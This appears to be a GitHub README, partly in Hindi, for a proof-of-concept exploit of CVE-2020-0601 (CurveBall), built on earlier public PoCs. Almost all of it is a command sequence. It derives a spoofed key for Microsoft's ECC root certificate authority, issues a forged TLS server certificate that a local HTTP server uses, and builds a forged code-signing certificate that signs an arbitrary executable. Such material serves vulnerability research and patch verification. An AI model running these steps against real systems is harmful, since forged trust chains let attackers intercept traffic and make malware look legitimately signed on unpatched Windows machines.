joelbts/cve-2020-0601_pocCVE-2020-0601 उर्फ कर्वबॉल का प्रदर्शन। https://github.com/kudelskisecurity/chainoffools और https://github.com/ly4k/CurveBall पर उपलब्ध PoC पर आधारित।
python संस्करण 3.11 openssl संस्करण 3.1 osslsigncode संस्करण 2.5 gen-key.py और httpServer.py में पायथन लाइब्रेरीज़
python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer
openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca.cnf
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.cnf -reqexts v3_req
openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl.cnf -extensions v3_req
python httpServer.py
python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer
openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca-cs.cnf
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl-cs.cnf -reqexts v3_req
openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl-cs.cnf -extensions v3_req
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed-ca.pem -name "Code Signing" -out cert.p12
osslsigncode sign -pkcs12 cert.p12 -n "Signed by curveball" -in filename.exe -out filename_signed.exe
